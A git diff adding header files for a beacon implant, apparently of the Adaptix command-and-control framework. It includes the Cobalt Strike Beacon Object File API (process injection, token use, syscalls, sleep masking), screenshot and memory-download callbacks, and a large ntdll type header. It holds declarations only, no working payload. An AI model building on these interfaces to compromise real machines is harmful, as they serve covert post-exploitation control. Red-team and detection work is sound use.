-6 + +/* ========= [ parsed task ] ========= */ +typedef struct { + UINT32 TaskId; + BYTE CmdId; + UINT32 ArgsLen; + PBYTE Args; /* pointer into caller's buffer - not owned */ +} NAX_TASK; diff --git a/src_beacon/include/adaptix.h b/src_beacon/include/adaptix.h new file mode 100644 index 0000000..79e0e12 --- /dev/null +++ b/src_beacon/include/adaptix.h @@ -0,0 +1,10 @@ +#pragma once + +#include "beacon.h" + +#define CALLBACK_AX_SCREENSHOT 0x81 +#define CALLBACK_AX_DOWNLOAD_MEM 0x82 + +void AxAddScreenshot(char* note, char* data, int len); + +void AxDownloadMemory(char* filename, char* data, int len); \ No newline at end of file diff --git a/src_beacon/include/beacon.h b/src_beacon/include/beacon.h new file mode 100644 index 0000000..3230bf1 --- /dev/null +++ b/src_beacon/include/beacon.h @@ -0,0 +1,369 @@ +#pragma once + +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Additional BOF resources are available here: + * - https://github.com/Cobalt-Strike/bof_template + * + * Cobalt Strike 4.x + * ChangeLog: + * 1/25/2022: updated for 4.5 + * 7/18/2023: Added BeaconInformation API for 4.9 + * 7/31/2023: Added Key/Value store APIs for 4.9 + * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue + * 8/31/2023: Added Data store APIs for 4.9 + * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, + * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries + * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 + * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL + * Updated the BEACON_INFO data structure to add new parameters + * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 + * 4/25/2024: Added APIs to call Beacon's system call implementation + */ + +#include + +#ifdef __cplusplus +extern "C" { +#endif // __cplusplus + + /* data API */ + typedef struct { + char* original; /* the original buffer [so we can free it] */ + char* buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ + } datap; + + void BeaconDataParse(datap* parser, char* buffer, int size); + char* BeaconDataPtr(datap* parser, int size); + int BeaconDataInt(datap* parser); + short BeaconDataShort(datap* parser); + int BeaconDataLength(datap* parser); + char* BeaconDataExtract(datap* parser, int* size); + + /* format API */ + typedef struct { + char* original; /* the original buffer [so we can free it] */ + char* buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ + } formatp; + + void BeaconFormatAlloc(formatp* format, int maxsz); + void BeaconFormatReset(formatp* format); + void BeaconFormatAppend(formatp* format, const char* text, int len); + void BeaconFormatPrintf(formatp* format, const char* fmt, ...); + char* BeaconFormatToString(formatp* format, int* size); + void BeaconFormatFree(formatp* format); + void BeaconFormatInt(formatp* format, int value); + + /* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d +#define CALLBACK_CUSTOM 0x1000 +#define CALLBACK_CUSTOM_LAST 0x13ff + + void BeaconOutput(int type, const char* data, int len); + void BeaconPrintf(int type, const char* fmt, ...); + + /* Token Functions */ + BOOL BeaconUseToken(HANDLE token); + void BeaconRevertToken(); + BOOL BeaconIsAdmin(); + + /* Spawn+Inject Functions */ + void BeaconGetSpawnTo(BOOL x86, char* buffer, int length); + void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); + void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); + BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pInfo); + void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo); + + /* Utility Functions */ + BOOL toWideChar(char* src, wchar_t* dst, int max); + + /* Beacon Information */ + /* + * ptr - pointer to the base address of the allocated memory. + * size - the number of bytes allocated for the ptr. + */ + typedef struct { + char* ptr; + size_t size; + } HEAP_RECORD; +#define MASK_SIZE 13 + + /* Information the user can set in the USER_DATA via a UDRL */ + typedef enum { + PURPOSE_EMPTY, + PURPOSE_GENERIC_BUFFER, + PURPOSE_BEACON_MEMORY, + PURPOSE_SLEEPMASK_MEMORY, + PURPOSE_BOF_MEMORY, + PURPOSE_USER_DEFINED_MEMORY = 1000 + } ALLOCATED_MEMORY_PURPOSE; + + typedef enum { + LABEL_EMPTY, + LABEL_BUFFER, + LABEL_PEHEADER, + LABEL_TEXT, + LABEL_RDATA, + LABEL_DATA, + LABEL_PDATA, + LABEL_RELOC, + LABEL_USER_DEFINED = 1000 + } ALLOCATED_MEMORY_LABEL; + + typedef enum { + METHOD_UNKNOWN, + METHOD_VIRTUALALLOC, + METHOD_HEAPALLOC, + METHOD_MODULESTOMP, + METHOD_NTMAPVIEW, + METHOD_USER_DEFINED = 1000, + } ALLOCATED_MEMORY_ALLOCATION_METHOD; + + /** + * This structure allows the user to provide additional information + * about the allocated heap for cleanup. It is mandatory to provide + * the HeapHandle but the DestroyHeap Boolean can be used to indicate + * whether the clean up code should destroy the heap or simply free the pages. + * This is useful in situations where a loader allocates memory in the + * processes current heap. + */ + typedef struct _HEAPALLOC_INFO { + PVOID HeapHandle; + BOOL DestroyHeap; + } HEAPALLOC_INFO, * PHEAPALLOC_INFO; + + typedef struct _MODULESTOMP_INFO { + HMODULE ModuleHandle; + } MODULESTOMP_INFO, * PMODULESTOMP_INFO; + + typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { + HEAPALLOC_INFO HeapAllocInfo; + MODULESTOMP_INFO ModuleStompInfo; + PVOID Custom; + } ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, * PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; + + typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { + BOOL Cleanup; + ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; + ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; + } ALLOCATED_MEMORY_CLEANUP_INFORMATION, * PALLOCATED_MEMORY_CLEANUP_INFORMATION; + + typedef struct _ALLOCATED_MEMORY_SECTION { + ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development + PVOID BaseAddress; // Pointer to virtual address of section + SIZE_T VirtualSize; // Virtual size of the section + DWORD CurrentProtect; // Current memory protection of the section + DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) + BOOL MaskSection; // A boolean to indicate whether the section should be masked + } ALLOCATED_MEMORY_SECTION, * PALLOCATED_MEMORY_SECTION; + + typedef struct _ALLOCATED_MEMORY_REGION { + ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory + PVOID AllocationBase; // The base address of the allocated memory block + SIZE_T RegionSize; // The size of the allocated memory block + DWORD Type; // The type of memory allocated + ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures + ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation + } ALLOCATED_MEMORY_REGION, * PALLOCATED_MEMORY_REGION; + + typedef struct { + ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; + } ALLOCATED_MEMORY, * PALLOCATED_MEMORY; + + /* + * version - The version of the beacon dll was added for release 4.10 + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 + * + * sleep_mask_ptr - pointer to the sleep mask base address + * sleep_mask_text_size - the sleep mask text section size + * sleep_mask_total_size - the sleep mask total memory size + * + * beacon_ptr - pointer to beacon's base address + * The stage.obfuscate flag affects this value when using CS default loader. + * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) + * false: beacon_ptr = allocated_buffer (A valid address) + * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain + * when the 2nd argument is set to DLL_PROCESS_ATTACH. + * heap_records - list of memory addresses on the heap beacon wants to mask. + * The list is terminated by the HEAP_RECORD.ptr set to NULL. + * mask - the mask that beacon randomly generated to apply + * + * Added in version 4.10 + * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA + * via a UDRL. + */ + typedef struct { + unsigned int version; + char* sleep_mask_ptr; + DWORD sleep_mask_text_size; + DWORD sleep_mask_total_size; + + char* beacon_ptr; + HEAP_RECORD* heap_records; + char mask[MASK_SIZE]; + + ALLOCATED_MEMORY allocatedMemory; + } BEACON_INFO, * PBEACON_INFO; + + BOOL BeaconInformation(PBEACON_INFO info); + + /* Key/Value store functions + * These functions are used to associate a key to a memory address and save + * that information into beacon. These memory addresses can then be + * retrieved in a subsequent execution of a BOF. + * + * key - the key will be converted to a hash which is used to locate the + * memory address. + * + * ptr - a memory address to save. + * + * Considerations: + * - The contents at the memory address is not masked by beacon. + * - The contents at the memory address is not released by beacon. + * + */ + BOOL BeaconAddValue(const char* key, void* ptr); + void* BeaconGetValue(const char* key); + BOOL BeaconRemoveValue(const char* key); + + /* Beacon Data Store functions + * These functions are used to access items in Beacon's Data Store. + * BeaconDataStoreGetItem returns NULL if the index does not exist. + * + * The contents are masked by default, and BOFs must unprotect the entry + * before accessing the data buffer. BOFs must also protect the entry + * after the data is not used anymore. + * + */ + +#define DATA_STORE_TYPE_EMPTY 0 +#define DATA_STORE_TYPE_GENERAL_FILE 1 + + typedef struct { + int type; + DWORD64 hash; + BOOL masked; + char* buffer; + size_t length; + } DATA_STORE_OBJECT, * PDATA_STORE_OBJECT; + + PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); + void BeaconDataStoreProtectItem(size_t index); + void BeaconDataStoreUnprotectItem(size_t index); + ULONG BeaconDataStoreMaxEntries(); + + /* Beacon User Data functions */ + char* BeaconGetCustomUserData(); + + /* Beacon System call */ + /* Syscalls API */ + typedef struct + { + PVOID fnAddr; + PVOID jmpAddr; + DWORD sysnum; + } SYSCALL_API_ENTRY, * PSYSCALL_API_ENTRY; + + typedef struct + { + SYSCALL_API_ENTRY ntAllocateVirtualMemory; + SYSCALL_API_ENTRY ntProtectVirtualMemory; + SYSCALL_API_ENTRY ntFreeVirtualMemory; + SYSCALL_API_ENTRY ntGetContextThread; + SYSCALL_API_ENTRY ntSetContextThread; + SYSCALL_API_ENTRY ntResumeThread; + SYSCALL_API_ENTRY ntCreateThreadEx; + SYSCALL_API_ENTRY ntOpenProcess; + SYSCALL_API_ENTRY ntOpenThread; + SYSCALL_API_ENTRY ntClose; + SYSCALL_API_ENTRY ntCreateSection; + SYSCALL_API_ENTRY ntMapViewOfSection; + SYSCALL_API_ENTRY ntUnmapViewOfSection; + SYSCALL_API_ENTRY ntQueryVirtualMemory; + SYSCALL_API_ENTRY ntDuplicateObject; + SYSCALL_API_ENTRY ntReadVirtualMemory; + SYSCALL_API_ENTRY ntWriteVirtualMemory; + SYSCALL_API_ENTRY ntReadFile; + SYSCALL_API_ENTRY ntWriteFile; + SYSCALL_API_ENTRY ntCreateFile; + } SYSCALL_API, * PSYSCALL_API; + + /* Additional Run Time Library (RTL) addresses used to support system calls. + * If they are not set then system calls that require them will fall back + * to the Standard Windows API. + * + * Required to support the following system calls: + * ntCreateFile + */ + typedef struct + { + PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; + PVOID rtlFreeHeapAddr; + PVOID rtlGetProcessHeapAddr; + } RTL_API, * PRTL_API; + + typedef struct + { + PSYSCALL_API syscalls; + PRTL_API rtls; + } BEACON_SYSCALLS, * PBEACON_SYSCALLS; + + BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized); + + ///* Beacon System call functions which will use the current system call method */ + LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); + LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); + BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); + BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); + BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); + BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); + BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); + DWORD BeaconResumeThread(HANDLE threadHandle); + HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); + HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); + BOOL BeaconCloseHandle(HANDLE object); + BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); + SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); + BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); + BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead); + BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten); + + /* Beacon User Data + * + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 + */ + +#define DLL_BEACON_USER_DATA 0x0d +#define BEACON_USER_DATA_CUSTOM_SIZE 32 + typedef struct + { + unsigned int version; + PSYSCALL_API syscalls; + char custom[BEACON_USER_DATA_CUSTOM_SIZE]; + PRTL_API rtls; + PALLOCATED_MEMORY allocatedMemory; + } USER_DATA, * PUSER_DATA; + +#ifdef __cplusplus +} +#endif // __cplusplus + +BOOL BeaconRegisterThreadCallback(PVOID callbackFunction, PVOID callbackData); +BOOL BeaconUnregisterThreadCallback(); +void BeaconWakeup(); +HANDLE BeaconGetStopJobEvent(); \ No newline at end of file diff --git a/src_beacon/include/ntdll.h b/src_beacon/include/ntdll.h new file mode 100644 index 0000000..a571e88 --- /dev/null +++ b/src_beacon/include/ntdll.h @@ -0,0 +1,22418 @@ +#if !defined(_NTDLL_) +#define _NTDLL_ + +#pragma warning( disable:4001 ) // level 4 error - nonstandard extension 'single line comment' was used +#pragma warning( disable:4201 ) // level 4 error - nonstandard extension used : nameless struct/union - ANSI C violation +#pragma warning( disable:4214 ) // level 4 error - nonstandard extension used : bit field types other than int - ANSI C violation +#pragma warning( disable:4005 ) // Disable Specific Warnings c4005 + +#if defined(__ICL) +#pragma warning ( disable : 344 ) +#endif + +#pragma pack( push, 8 ) + +#if defined(__cplusplus) + +#endif + +#include +#include + +#if !defined(NTSTATUS) +typedef LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#if !defined(SECURITY_STATUS) +typedef LONG SECURITY_STATUS; +#endif + +#define EXPORT_FN __declspec(dllexport) +#define IMPORT_FN __declspec(dllimport) + +#define PAGE_SIZE 0x1000 + +#define EXTERNAL extern "C" + +#ifndef UNREFERENCED_PARAMETER +#define UNREFERENCED_PARAMETER(P) (P) +#endif + +#include + +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#define NT_INFORMATION(Status) ((ULONG)(Status) >> 30 == 1) +#define NT_WARNING(Status) ((ULONG)(Status) >> 30 == 2) +#define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3) + +#define ABSOLUTE_TIME(wait) (wait) +#define RELATIVE_TIME(wait) (-(wait)) +#define NANOSECONDS(nanos) \ + (((signed __int64)(nanos)) / 100L) +#define MICROSECONDS(micros) \ + (((signed __int64)(micros)) * NANOSECONDS(1000L)) +#define MILLISECONDS(milli) \ + (((signed __int64)(milli)) * MICROSECONDS(1000L)) +#define SECONDS(seconds) \ + (((signed __int64)(seconds)) * MILLISECONDS(1000L)) + +#define ARGUMENT_PRESENT(ArgumentPointer) (\ + (CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) ) + +#define RESTORE_LIST(ListEntry) \ + ListEntry.Flink = ListEntry.Flink; \ + ListEntry.Blink = ListEntry.Blink + +#define UNLINK(x) (x).Blink->Flink = (x).Flink; \ + (x).Flink->Blink = (x).Blink; + +#define ALIGN_TO_POWER2( x, n ) (((ULONG)(x) + ((n)-1)) & ~((ULONG)(n)-1)) + +#define POI(addr) *(ULONG *)(addr) + +#define IS_PATH_SEPARATOR(ch) ((ch == '\\') || (ch == '/')) +#define IS_DOT(s) ( s[0] == '.' && ( IS_PATH_SEPARATOR(s[1]) || s[1] == '\0') ) +#define IS_DOT_DOT(s) ( s[0] == '.' && s[1] == '.' && ( IS_PATH_SEPARATOR(s[2]) || s[2] == '\0') ) + +#define IS_PATH_SEPARATOR_U(ch) ((ch == (WCHAR)'\\') || (ch == (WCHAR)'/')) +#define IS_DOT_U(s) ( s[0] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[1]) || s[1] == UNICODE_NULL) ) +#define IS_DOT_DOT_U(s) ( s[0] == (WCHAR)'.' && s[1] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[2]) || s[2] == UNICODE_NULL) ) + +#define jmp_length(y,x) ((x-y)-5) +#define stc_jc(y,x) ((x-y)-7) + +#define MODIFYBYTE( _base, _offset, _byte ) { ((unsigned char *)_base)[_offset] = (unsigned char)_byte; } +#define MODIFYWORD( _base, _offset, _word ) { ((unsigned short *)_base)[_offset] = (unsigned short)_word; } +#define MODIFYDWORD( _base, _offset, _dword ) { ((unsigned long *)_base)[_offset] = (unsigned long)_dword; } +#define MODIFYQWORD( _base, _offset, _qword ) { ((unsigned long long *)_base)[_offset] = (unsigned long long)_qword; } + +#define PTR_ADD_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset))) + +#define WRITE_JMP( from, to ) { ((PCHAR)from)[0] = (CHAR)0xE9; *((ULONG_PTR *)&(((PCHAR)(from))[1])) = (PCHAR)(to) - (PCHAR)(from) - 5; } +#define GET_JMP( from ) (((PCHAR)from)[0]==(CHAR)0xE9)? (*((ULONG_PTR *)&(((PCHAR)(from))[1])) + 5 + (ULONG_PTR)(from)) : 0 + +#define ASSERT( exp ) ((void) 0) + +// +// The following macros store and retrieve USHORTS and ULONGS from potentially unaligned addresses, avoiding alignment faults. +// + +// 31.05.2011 - added the following macros +#define SHORT_SIZE (sizeof(USHORT)) +#define SHORT_MASK (SHORT_SIZE - 1) +#define LONG_SIZE (sizeof(LONG)) +#define LONG_MASK (LONG_SIZE - 1) +#define LOWBYTE_MASK 0x00FF + +#define FIRSTBYTE(VALUE) (VALUE & LOWBYTE_MASK) +#define SECONDBYTE(VALUE) ((VALUE >> 8) & LOWBYTE_MASK) +#define THIRDBYTE(VALUE) ((VALUE >> 16) & LOWBYTE_MASK) +#define FOURTHBYTE(VALUE) ((VALUE >> 24) & LOWBYTE_MASK) + +// +// if MIPS Big Endian, order of bytes is reversed. +// + +#define SHORT_LEAST_SIGNIFICANT_BIT 0 +#define SHORT_MOST_SIGNIFICANT_BIT 1 + +#define LONG_LEAST_SIGNIFICANT_BIT 0 +#define LONG_3RD_MOST_SIGNIFICANT_BIT 1 +#define LONG_2ND_MOST_SIGNIFICANT_BIT 2 +#define LONG_MOST_SIGNIFICANT_BIT 3 + +//++ +// +// VOID +// RtlStoreUshort ( +// PUSHORT ADDRESS +// USHORT VALUE +// ) +// +// Routine Description: +// +// This macro stores a USHORT value in at a particular address, avoiding +// alignment faults. +// +// Arguments: +// +// ADDRESS - where to store USHORT value +// VALUE - USHORT to store +// +// Return Value: +// +// none. +// +//-- + +#define RtlStoreUshort(ADDRESS,VALUE) \ + if ((ULONG_PTR)ADDRESS & SHORT_MASK) { \ + ((PUCHAR) ADDRESS)[SHORT_LEAST_SIGNIFICANT_BIT] = (UCHAR)(FIRSTBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[SHORT_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ + } \ + else { \ + *((PUSHORT) ADDRESS) = (USHORT) VALUE; \ + } + + +//++ +// +// VOID +// RtlStoreUlong ( +// PULONG ADDRESS +// ULONG VALUE +// ) +// +// Routine Description: +// +// This macro stores a ULONG value in at a particular address, avoiding +// alignment faults. +// +// Arguments: +// +// ADDRESS - where to store ULONG value +// VALUE - ULONG to store +// +// Return Value: +// +// none. +// +// Note: +// Depending on the machine, we might want to call storeushort in the +// unaligned case. +// +//-- + +#define RtlStoreUlong(ADDRESS,VALUE) \ + if ((ULONG_PTR)ADDRESS & LONG_MASK) { \ + ((PUCHAR) ADDRESS)[LONG_LEAST_SIGNIFICANT_BIT ] = (UCHAR)(FIRSTBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_3RD_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_2ND_MOST_SIGNIFICANT_BIT ] = (UCHAR)(THIRDBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_MOST_SIGNIFICANT_BIT ] = (UCHAR)(FOURTHBYTE(VALUE)); \ + } \ + else { \ + *((PULONG) ADDRESS) = (ULONG) VALUE; \ + } + +//++ +// +// VOID +// RtlRetrieveUshort ( +// PUSHORT DESTINATION_ADDRESS +// PUSHORT SOURCE_ADDRESS +// ) +// +// Routine Description: +// +// This macro retrieves a USHORT value from the SOURCE address, avoiding +// alignment faults. The DESTINATION address is assumed to be aligned. +// +// Arguments: +// +// DESTINATION_ADDRESS - where to store USHORT value +// SOURCE_ADDRESS - where to retrieve USHORT value from +// +// Return Value: +// +// none. +// +//-- + +#define RtlRetrieveUshort(DEST_ADDRESS,SRC_ADDRESS) \ + if ((ULONG_PTR)SRC_ADDRESS & SHORT_MASK) { \ + ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ + ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ + } \ + else { \ + *((PUSHORT) DEST_ADDRESS) = *((PUSHORT) SRC_ADDRESS); \ + } \ + +//++ +// +// VOID +// RtlRetrieveUlong ( +// PULONG DESTINATION_ADDRESS +// PULONG SOURCE_ADDRESS +// ) +// +// Routine Description: +// +// This macro retrieves a ULONG value from the SOURCE address, avoiding +// alignment faults. The DESTINATION address is assumed to be aligned. +// +// Arguments: +// +// DESTINATION_ADDRESS - where to store ULONG value +// SOURCE_ADDRESS - where to retrieve ULONG value from +// +// Return Value: +// +// none. +// +// Note: +// Depending on the machine, we might want to call retrieveushort in the +// unaligned case. +// +//-- + +#define RtlRetrieveUlong(DEST_ADDRESS,SRC_ADDRESS) \ + if ((ULONG_PTR)SRC_ADDRESS & LONG_MASK) { \ + ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ + ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ + ((PUCHAR) DEST_ADDRESS)[2] = ((PUCHAR) SRC_ADDRESS)[2]; \ + ((PUCHAR) DEST_ADDRESS)[3] = ((PUCHAR) SRC_ADDRESS)[3]; \ + } \ + else { \ + *((PULONG) DEST_ADDRESS) = *((PULONG) SRC_ADDRESS); \ + } + +//++ +// +// PCHAR +// RtlOffsetToPointer ( +// PVOID Base, +// ULONG Offset +// ) +// +// Routine Description: +// +// This macro generates a pointer which points to the byte that is 'Offset' +// bytes beyond 'Base'. This is useful for referencing fields within +// self-relative data structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Offset - An unsigned integer offset of the byte whose address is to +// be generated. +// +// Return Value: +// +// A PCHAR pointer to the byte that is 'Offset' bytes beyond 'Base'. +// +// +//-- + +#define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) + + +//++ +// +// ULONG +// RtlPointerToOffset ( +// PVOID Base, +// PVOID Pointer +// ) +// +// Routine Description: +// +// This macro calculates the offset from Base to Pointer. This is useful +// for producing self-relative offsets for structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Pointer - A pointer to a field, presumably within the structure +// pointed to by Base. This value must be larger than that specified +// for Base. +// +// Return Value: +// +// A ULONG offset from Base to Pointer. +// +// +//-- + +#define RtlPointerToOffset(B,P) ((ULONG)( ((PCHAR)(P)) - ((PCHAR)(B)) )) +// 31.05.2011 - end + +// +// Data Types -- DOT NOT modify -- modification will break 32bit & 64bit compatibly. +// + +typedef char CCHAR; +typedef short CSHORT; +typedef CCHAR *PCCHAR; +typedef CSHORT *PCSHORT; +typedef ULONG CLONG; +typedef ULONG *PCLONG; + +typedef ULONG LOGICAL; +typedef ULONG *PLOGICAL; + +typedef LONG KPRIORITY; + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING; +typedef STRING *PSTRING; + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +typedef struct _CSTRING +{ + USHORT Length; + USHORT MaximumLength; + CONST char *Buffer; +} CSTRING; +typedef CSTRING *PCSTRING; +#define ANSI_NULL ((CHAR)0) + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING, **PPUNICODE_STRING; +typedef const UNICODE_STRING *PCUNICODE_STRING; + +typedef struct _STRING32 +{ + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef STRING32 *PSTRING32; + +typedef STRING32 UNICODE_STRING32; +typedef UNICODE_STRING32 *PUNICODE_STRING32; +#define UNICODE_NULL ((WCHAR)0) + +typedef STRING32 ANSI_STRING32; +typedef ANSI_STRING32 *PANSI_STRING32; + +typedef struct _STRING64 +{ + USHORT Length; + USHORT MaximumLength; + ULONG_PTR Buffer; +} STRING64; + +typedef STRING64 *PSTRING64; + +typedef STRING64 UNICODE_STRING64; +typedef UNICODE_STRING64 *PUNICODE_STRING64; + +typedef STRING64 ANSI_STRING64; +typedef ANSI_STRING64 *PANSI_STRING64; + +typedef USHORT RTL_ATOM; +typedef RTL_ATOM *PRTL_ATOM; + +typedef UCHAR KIRQL; +typedef KIRQL *PKIRQL; + +typedef CONST char *PCSZ; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +#if !defined( _WINNT_ ) + +typedef struct _LIST_ENTRY { + struct _LIST_ENTRY *Flink; + struct _LIST_ENTRY *Blink; +} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; + +#define FIELD_OFFSET(type, field) ((LONG)&(((type *)0)->field)) + +#define CONTAINING_RECORD(address, type, field) ((type FAR *)( \ + (PCHAR)(address) - \ + (PCHAR)(&((type *)0)->field))) +#endif + +typedef struct _TRIPLE_LIST_ENTRY +{ + struct _TRIPLE_LIST_ENTRY* Flink[ 3 ]; + struct _TRIPLE_LIST_ENTRY* Blink; +} TRIPLE_LIST_ENTRY, *PTRIPLE_LIST_ENTRY; + +#define IN_REGION(x, Base, Size) (((ULONG)x >= (ULONG_PTR)Base) && ((ULONG)x <= (ULONG_PTR)Base + (ULONG)Size)) + +#ifndef RVATOVA +#define RVATOVA(base, offset) ((PVOID)((ULONG)base + (ULONG)(offset))) +#endif + +#ifndef NOP_FUNCTION +#define NOP_FUNCTION (void)0 +#endif +#define PAGED_CODE() NOP_FUNCTION; + +#if defined(USE_LPC6432) +#define LPC_CLIENT_ID CLIENT_ID64 +#define LPC_SIZE_T ULONGLONG +#define LPC_PVOID ULONGLONG +#define LPC_HANDLE ULONGLONG +#else +#define LPC_CLIENT_ID CLIENT_ID +#define LPC_SIZE_T SIZE_T +#define LPC_PVOID PVOID +#define LPC_HANDLE HANDLE +#endif + +#define OBJ_INHERIT 0x00000002L +#define OBJ_HANDLE_TAGBITS 0x00000003L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +#define RTL_QUERY_PROCESS_MODULES 0x00000001 +#define RTL_QUERY_PROCESS_BACKTRACES 0x00000002 +#define RTL_QUERY_PROCESS_HEAP_SUMMARY 0x00000004 +#define RTL_QUERY_PROCESS_HEAP_TAGS 0x00000008 +#define RTL_QUERY_PROCESS_HEAP_ENTRIES 0x00000010 +#define RTL_QUERY_PROCESS_LOCKS 0x00000020 +#define RTL_QUERY_PROCESS_MODULES32 0x00000040 +#define RTL_QUERY_PROCESS_NONINVASIVE 0x80000000 + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // SECURITY_QUALITY_OF_SERVICE +} 